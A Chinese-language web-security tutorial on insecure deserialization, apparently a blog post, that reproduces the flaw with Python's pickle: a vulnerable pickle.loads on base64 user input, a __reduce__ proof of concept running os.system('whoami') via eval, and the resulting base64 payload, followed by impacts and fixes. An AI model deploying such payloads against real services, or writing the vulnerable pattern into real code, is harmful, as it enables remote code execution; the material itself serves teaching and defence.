【WEB安全】不安全的反序列化

逻辑盆景
• 阅读 534

1.1. 什么是序列化和反序列化

序列化和反序列化是指用于将对象或数据结构转换为字节流的过程,以便在不同系统之间进行传输或存储,并在需要时重新构造。

序列化是指将对象或数据结构转换为字节流的过程。在序列化过程中,对象的状态和数据被转换为一系列字节,这些字节可以按照一定的协议进行传输或存储。序列化通常用于将对象存储到磁盘或通过网络发送到其他系统。序列化后的字节流可以被保存下来,以后可以通过反序列化操作重新构建对象并恢复其状态和数据。

反序列化是指将序列化后的字节流转换回对象或数据结构的过程。在反序列化过程中,字节流被读取并解析,以还原为原始的对象或数据结构。反序列化通常用于从磁盘加载保存的对象或接收通过网络传输的序列化数据。通过反序列化,可以重新构建对象并恢复其之前序列化的状态和数据。

序列化和反序列化在许多领域都有广泛的应用,例如分布式系统、持久化存储、缓存机制以及跨平台通信。它们允许将复杂的对象或数据结构转换为字节流进行传输或存储,从而实现不同系统之间的数据交换和共享。

1.2. 漏洞介绍

不安全的反序列化是指在反序列化过程中存在潜在安全风险的情况,如果序列化的内容可控,在传递给应用进行反序列化时,可能会导致执行恶意代码或触发其他不受控制的行为。

以下是一些常见的不安全反序列化的情况:

  1. 不受限制的反序列化:如果反序列化操作没有适当的验证和限制,允许任意的序列化数据被反序列化,攻击者可以构造恶意的序列化数据来执行恶意代码。
  2. 未经过滤的输入:如果反序列化操作接受未经过滤的输入数据,攻击者可以通过构造特定的恶意数据来执行命令或导致不受控制的行为。
  3. 自定义的反序列化逻辑:如果使用自定义的反序列化逻辑而不是使用安全的序列化库或框架,可能会导致安全问题。自定义逻辑可能缺乏必要的安全验证和过滤步骤,从而容易受到攻击。
  4. 恶意的序列化数据:如果攻击者能够在反序列化操作中提供恶意构造的序列化数据,可能会导致命令执行或其他不受控制的行为。

1.3. 复现过程

网上大多是采用的php进行复现,一搜一大堆,这里我们用Python的pickle模块来进行复现。

1.3.1. pickle模块介绍

参考 doc,可见是一个序列化模块。

【WEB安全】不安全的反序列化

基础使用如下:

import pickle

# 定义一个对象
class Person:
    def __init__(self, name, age):
        self.name = name
        self.age = age

# 创建一个 Person 对象
person = Person("d4m1ts", 18)

# 序列化对象
serialized_data = pickle.dumps(person)

# 序列化后的二进制数据
print(f"序列化后的数据: {serialized_data}", end="\n\n")

# 反序列化数据
deserialized_person = pickle.loads(serialized_data)

# 访问反序列化后的对象属性
print(f"反序列化后的对象所属类: {deserialized_person.__class__}")
print(f"name: {deserialized_person.name}")  # 输出: d4m1ts
print(f"age: {deserialized_person.age}")  # 输出: 18

【WEB安全】不安全的反序列化

1.3.2. 魔术方法 __reduce__()

在Python中,__reduce__()是一个特殊方法,用于定义对象的序列化行为。当使用pickle模块对对象进行序列化和反序列化时,__reduce__()方法会被调用。

__reduce__()方法应该返回一个元组(),其中包含两个或三个元素。元组的第一个元素是用于重新构建对象的函数,第二个元素是传递给构建函数的参数(通常是一个元组),而第三个元素(可选)是用于恢复对象状态的可迭代对象。

简单来说,我们可以通过重写__reduse__()函数,来修改数据反序列化的方式。

修改刚才的代码,举例如下:

import pickle

# 定义一个对象
class Person:
    def __init__(self, name, age):
        self.name = name
        self.age = age

    def __reduce__(self):
        print("Calling __reduce__()")
        # return (self.__class__, (self.value,))
        return (print, ("reduse poc test",))


# 创建一个 Person 对象
person = Person("d4m1ts", 18)

# 序列化对象
serialized_data = pickle.dumps(person)

# 序列化后的二进制数据
print(f"序列化后的数据: {serialized_data}", end="\n\n")

# 反序列化数据
deserialized_person = pickle.loads(serialized_data)

# 访问反序列化后的对象属性
print(f"反序列化后的对象所属类: {deserialized_person.__class__}")
print(f"name: {deserialized_person.name}")  # 输出: d4m1ts
print(f"age: {deserialized_person.age}")  # 输出: 18

可见在反序列化的时候,调用的是我们重写时用的print方法。

【WEB安全】不安全的反序列化

1.3.3. 漏洞场景举例复现

假设漏洞场景代码如下,其中userInput是我们可以控制输入的地方:

import pickle
import base64

class Person:
    def __init__(self, name, age):
        self.name = name
        self.age = age

userInput = ""
deserialized_person = pickle.loads(base64.b64decode(userInput))
print(f"反序列化后的对象所属类: {deserialized_person.__class__}")

根据上述代码,构造POC代码,生成序列化的内容,其中编写__reduse__()函数如下:

import pickle
import base64

class Person:
    def __init__(self, name, age):
        self.name = name
        self.age = age

    def __reduce__(self):
        return (eval, ('__import__("os").system("whoami")',))


person = Person("d4m1ts", 18)
serialized_data = pickle.dumps(person)
print(base64.b64encode(serialized_data).decode())

得到payload为: gANjYnVpbHRpbnMKZXZhbApxAFghAAAAX19pbXBvcnRfXygib3MiKS5zeXN0ZW0oIndob2FtaSIpcQGFcQJScQMu

把payload插入漏洞场景测试一下:

import pickle
import base64

class Person:
    def __init__(self, name, age):
        self.name = name
        self.age = age

userInput = "gANjYnVpbHRpbnMKZXZhbApxAFghAAAAX19pbXBvcnRfXygib3MiKS5zeXN0ZW0oIndob2FtaSIpcQGFcQJScQMu"
deserialized_person = pickle.loads(base64.b64decode(userInput))
print(f"反序列化后的对象所属类: {deserialized_person.__class__}")

【WEB安全】不安全的反序列化

可见成功执行了系统命令。

总结一下复现过程,就是写一个__reduse__函数来改变反序列化的行为即可。

1.4. 漏洞危害

  1. 远程代码执行:攻击者可以通过构造恶意序列化数据注入和执行任意代码,从而完全控制目标系统,并执行恶意操作。
  2. 远程命令执行:攻击者可以通过反序列化漏洞在目标系统上执行远程命令,从而对其他系统或网络资源造成进一步的威胁。
  3. 信息泄露:攻击者可以利用反序列化漏洞读取和获取目标系统中的敏感信息,例如数据库凭据、用户密码、加密密钥等。
  4. 拒绝服务(DoS)攻击:攻击者可以发送恶意序列化数据来触发异常或消耗过多的系统资源,导致系统崩溃或无法提供正常的服务。

1.5. 修复建议

  • 使用安全的序列化库或框架,这些库经过严格测试和审查,并提供了适当的安全防护机制。
  • 对反序列化输入进行严格的验证和过滤,只接受预期的数据格式和内容。
  • 不要从不受信任的来源接受序列化数据,尽量限制数据来源。
  • 定期更新和修复序列化库和相关组件,以获取最新的安全修补程序。
  • 配置系统和应用程序的安全设置,限制恶意代码执行的可能性。
点赞
收藏
评论区
推荐文章
Wesley13 Wesley13
3年前
java中的序列化
一、什么是java序列化  序列化:将对象写入IO流反序列化:从IO流中恢复对象序列化机制允许将实现序列化的java对象转换为字节序列,这些字节序列可以保存在磁盘上也可以通过网络传输,字节序列也可以再恢复为原来的对象。序列化机制可以让对象不依附于程序独立存在。二、应用场景
Wesley13 Wesley13
3年前
javaBean为什么要implements Serializable
一个对象序列化的接口,一个类只有实现了Serializable接口,它的对象才是可序列化的。因此如果要序列化某些类的对象,这些类就必须实现Serializable接口。而实际上,Serializable是一个空接口,没有什么具体内容,它的目的只是简单的标识一个类的对象可以被序列化。    什么情况下需要序列化:    1.     当
Wesley13 Wesley13
3年前
Java序列化
在java中序列化对象需要实现一个接口,表示该对象可以被序列化java.io.Serializable接下来介绍一个关键字transient这个关键字的意思就是取反:如果一个对象实现了Serializable接口,加上这个关键字表示这个对象不能被序列化;如果一个对象没有实现Serializable接口,加上这个关键字表
Wesley13 Wesley13
3年前
IOS中对象序列化与反序列化
概述在IOS中,对象的序列化和反序列化分别使用NSKeyedArchiver和NSKeyedUnarchiver两个类,我们可以把一个类对象进行序列化然后保存到文件中,使用时再读取文件,把内容反序列化出来。这个过程通常也被称为对象的编码(归档)和解码(解档)。需要注意的是,NSKeyedArchiver和NSKeyedUnarchiver是继
Wesley13 Wesley13
3年前
unity 序列化和反序列化
什么是序列化和反序列化(1)序列化是指把对象转换为字节序列的过程,而反序列化是指把字节序列恢复为对象的过程;. (2)序列化:对象序列化的最主要的用处就是在传递和保存对象的时候,保证对象的完整性和可传递性。序列化是把对象转换成有序字节流,以便在网络上传输或者保存在本地文件中。序列化后的字节流保存了对象的状态以及相关的描述信息。序列化机制
Stella981 Stella981
3年前
Android Serializable与Parcelable原理与区别
一、序列化、反序列化是什么?(1)名词解释对象的序列化:把Java(https://www.oschina.net/action/GoToLink?urlhttp%3A%2F%2Fwww.2cto.com%2Fkf%2Fware%2FJava%2F)对象转换为字节序列并存储至一个储存媒介的过
Wesley13 Wesley13
3年前
Java操作JSON数据(2)
Gson是Google公司发布的一个开发源码的Java库,可用于将Java对象转换为JSON字符串,也可用于将JSON字符串转换为对应的Java对象。本介绍下Gson的基本使用方法,包括序列化和反序列化;文中所使用到的软件版本:Java1.8.0\_191、Gson2.8.6。1、引入依赖<dependency
Wesley13 Wesley13
3年前
Java序列化——transient关键字和Externalizable接口
  提到Java序列化,相信大家都不陌生。我们在序列化的时候,需要将被序列化的类实现Serializable接口,这样的类在序列化时,会默认将所有的字段都序列化。那么当我们在序列化Java对象时,如果不希望对象中某些字段被序列化(如密码字段),怎么实现呢?看一个例子:import java.io.Serializable;imp
Wesley13 Wesley13
3年前
Java序列化技术即将被废除!!!
我们的对象并不只是存在内存中,还需要传输网络,或者保存起来下次再加载出来用,所以需要Java序列化技术。Java序列化技术正是将对象转变成一串由二进制字节组成的数组,可以通过将二进制数据保存到磁盘或者传输网络,磁盘或者网络接收者可以在对象的属类的模板上来反序列化类的对象,达到对象持久化的目的。如果你还不熟悉Java序列化技术,请详细阅读《关于Jav
Wesley13 Wesley13
3年前
unity将 -u4E00 这种 编码 转汉字 方法
 unity中直接使用 JsonMapper.ToJson(对象),取到的字符串,里面汉字可能是\\u4E00类似这种其实也不用转,服务器会通过类似fastjson发序列化的方式,将json转对象,获取对象的值就是中文但是有时服务器要求将传参中字符串中类似\\u4E00这种转汉字,就需要下面 publ
Stella981 Stella981
3年前
Protostuff一键序列化工具、Protobuf JAVA实现
前言:由于搜集网络,发现Protostuff相关内容较少,故此发布这篇文章1. 何为序列化序列化 (Serialization)将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。序列化使其他代码可以查看或修改